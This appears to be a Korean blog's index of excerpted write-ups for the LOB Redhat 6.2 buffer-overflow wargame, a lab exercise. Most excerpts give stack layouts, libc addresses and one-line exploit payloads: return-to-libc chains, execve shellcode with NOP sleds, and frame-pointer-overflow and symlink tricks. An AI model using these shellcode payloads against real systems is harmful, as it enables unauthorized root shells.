본문 바로가기

Wargames

LOB Redhat 6.2 - giant giant - no stack, no RTLStack : buffer[40] + sfp[4] + ret[4]ret : 0x804851e system : 0x40058ae0 exit : 0x400391e0 "/bin/sh" : 0x400fbff9Payload : ./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"'` Using Ret sled + RTL 더보기
LOB Redhat 6.2 - bugbear bugbear - RTL2stack : *ret[4] + *execve_addr[4] + *execve_offset[4] + *lib_addr[4] + *fp[4] + buffer[40] + sfp[4] + ret[4]1execve : 0x400a9d48 exit : 0x400391e0evecve(filename, *argv[], 0) -> execve("/bin/sh", &"/bin/sh", \x00, &NULL)Symbolic Link : ln -s giant `python -c 'print "\xf9\xbf\x0f\x40"'` (address of "/bin/sh")"/bin/sh" : 0x400fbff9 &"/bin/sh", \x00 : 0xbffffff7 &NULL : 0xbffffffcPayl.. 더보기
LOB Redhat 6.2 - darkknight darkknight - RTL1Stack : i[4] + buffer[40] + sfp[4] + ret[4]system : 0x40058ae0 exit : 0x400391e0return address : 0x40058ae0Payload : ./bugbear `python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40"'`binsh.c : Using RTL 더보기
LOB Redhat 6.2 - golem golem - FPOStack : buffer[40] + sfp[4] + ret[4]sfp : 0xbffffa98Payload : ./darkknight `python -c 'print "\x90"*17 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\x98"'` Using Frame Pointer OverFlow 더보기
LOB Redhat 6.2 - skeleton skeleton - stack destroyerStack : LD_PRELOAD + i[4] + buffer[40] + sfp[4] + ret[4]Shared library : gcc -shared -fPIC -o `python -c 'print "\x90"*100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\x.. 더보기
LOB Redhat 6.2 - vampire vampire - argv hunterStack : saved_argc[4] + i[4] + buffer[40] + sfp[4] + ret[4] + Program name Symbolic Link : ln -s skeleton `python -c 'print "\x90"*100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xb.. 더보기
LOB Redhat 6.2 - troll troll - check 0xbfffStack : buffer[40] + sfp[4] + ret[4] + Environment VariableDummy : export dummy=`python -c 'print "A"*80000'`return address : 0xbffec3b9Payload : ./vampire `python -c 'print "\x90"*21 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\xb9\xc3\xfe\xbf"'` Using argv[1] address + Environment Variable Dummy 더보기
LOB Redhat 6.2 - orge orge - check argc + argv hunterStack : i[4] + buffer[40] + sfp[4] + ret[4]Symbolic Link : ln -s troll `python -c 'print "\x90"*100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51.. 더보기
LOB Redhat 6.2 - darkelf darkelf - check argv[0]Stack : i[4] + buffer[40] + sfp[4] + ret[4]./orge == ./////////////orgereturn address : 0xbffffc33 - 71 = 0xbffffbacPayload : .`python -c 'print "/"*72 + "orge"'` `python -c 'print "A"*44 + "\xac\xfb\xff\xbf"'` `python -c 'print "\x90"*100 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'` Using argv[2] address 더보기
LOB Redhat 6.2 - wolfman wolfman - egghunter + buffer hunter + check length of argv[1]Stack : i[4] + buffer[40] + sfp[4] + ret[4]return address : 0xbffffbfcPayload : ./darkelf `python -c 'print "A"*44 + "\xfc\xfb\xff\xbf"'` `python -c 'print "\x90"*100 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'` Using argv[2] address 더보기